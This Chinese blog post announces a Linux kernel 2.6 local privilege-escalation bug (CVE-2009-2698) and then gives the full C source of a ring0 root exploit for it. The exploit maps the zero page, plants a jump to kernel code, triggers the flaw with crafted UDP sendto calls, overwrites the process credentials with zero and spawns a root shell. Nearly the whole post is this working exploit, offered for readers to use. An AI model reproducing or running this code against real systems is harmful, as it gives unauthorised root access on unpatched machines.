Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit

 linux 又爆一本地提权的漏洞,据之前的本地提权的漏洞时间很短啊···昨天还和朋友说起过,到底是 windows 安全还是 linux 安全?你说windows 不安全,Microsoft 用到现在也没啥大的问题,你说 Linux 安全,但又经常被一下子就到 root 了··所以说没有不安全的系统,只有不安全的人,最重要的还是用这操作系统的人,人才是安全的根本….
附一个来自包子 Blog 的利用截图

另附 EXP :

 

  
  
  
  
  1. /* 
  2. ** 
  3. ** 0x82-CVE-2009-2698 
  4. ** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit 
  5. ** 
  6. ** Tested White Box 4(2.6.9-5.ELsmp), 
  7. ** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp), 
  8. ** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5), 
  9. ** Fedora Core 6(2.6.18-1.2798.fc6). 
  10. ** 
  11. ** -- 
  12. ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. 
  13. ** Thankful to them. 
  14. ** 
  15. ** -- 
  16. ** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698 
  17. ** sh-3.1# id 
  18. ** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t 
  19. ** sh-3.1# 
  20. ** -- 
  21. ** exploit by <p0c73n1(at)gmail(dot)com>. 
  22. ** 
  23. */ 
  24.   
  25. #include <stdio.h> 
  26. #include <unistd.h> 
  27. #include <string.h> 
  28. #include <sys/socket.h> 
  29. #include <sys/mman.h> 
  30. #include <fcntl.h> 
  31. #include <sys/personality.h> 
  32.   
  33. unsigned int uid, gid; 
  34. void get_root_uid(unsigned *task) 
  35.   unsigned *addr=task; 
  36.   while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){ 
  37.     addr++; 
  38.   } 
  39.   addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */ 
  40.   addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */ 
  41.   return
  42. void exploit(); 
  43. void kernel_code() 
  44.   asm("exploit:\n" 
  45.     "push %eax\n" 
  46.     "movl $0xfffff000,%eax\n" 
  47.     "andl %esp,%eax\n" 
  48.     "pushl (%eax)\n" 
  49.     "call get_root_uid\n" 
  50.     "addl $4,%esp\n" 
  51.     "popl %eax\n"); 
  52.   return
  53. void *kernel=kernel_code; 
  54.   
  55. int main(int argc, char **argv) 
  56.   int fd=0; 
  57.   char buf[1024]; 
  58.   struct sockaddr x0x; 
  59.   void *zero_page; 
  60.   
  61.   uid=getuid(); 
  62.   gid=getgid(); 
  63.   if(uid==0){ 
  64.     fprintf(stderr,"[-] check ur uid\n"); 
  65.     return -1; 
  66.   } 
  67.   if(personality(0xffffffff)==PER_SVR4){ 
  68.     if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){ 
  69.       perror("[-] mprotect()"); 
  70.       return -1; 
  71.     } 
  72.   } 
  73.   else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){ 
  74.       perror("[-] mmap()"); 
  75.       return -1; 
  76.   } 
  77.   *(unsigned long *)0x0=0x90909090; 
  78.   *(char *)0x00000004=0x90; /* +1 */ 
  79.   *(char *)0x00000005=0xff; 
  80.   *(char *)0x00000006=0x25; 
  81.   *(unsigned long *)0x00000007=(unsigned long)&kernel; 
  82.   *(char *)0x0000000b=0xc3; 
  83.   
  84.   if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){ 
  85.     perror("[-] socket()"); 
  86.     return -1; 
  87.   } 
  88.   x0x.sa_family=AF_UNSPEC; 
  89.   memset(x0x.sa_data,0x82,14); 
  90.   memset((char *)buf,0,sizeof(buf)); 
  91.   sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x)); 
  92.   sendto(fd,buf,1024,0,&x0x,sizeof(x0x)); 
  93.   if(getuid()==uid){ 
  94.     printf("[-] exploit failed, try again\n"); 
  95.     return -1; 
  96.   } 
  97.   close(fd); 
  98.   execl("/bin/sh","sh","-i",NULL); 
  99.   return 0; 
  100.   
  101. /* eoc */ 

 

你可能感兴趣的:(linux,职场,休闲)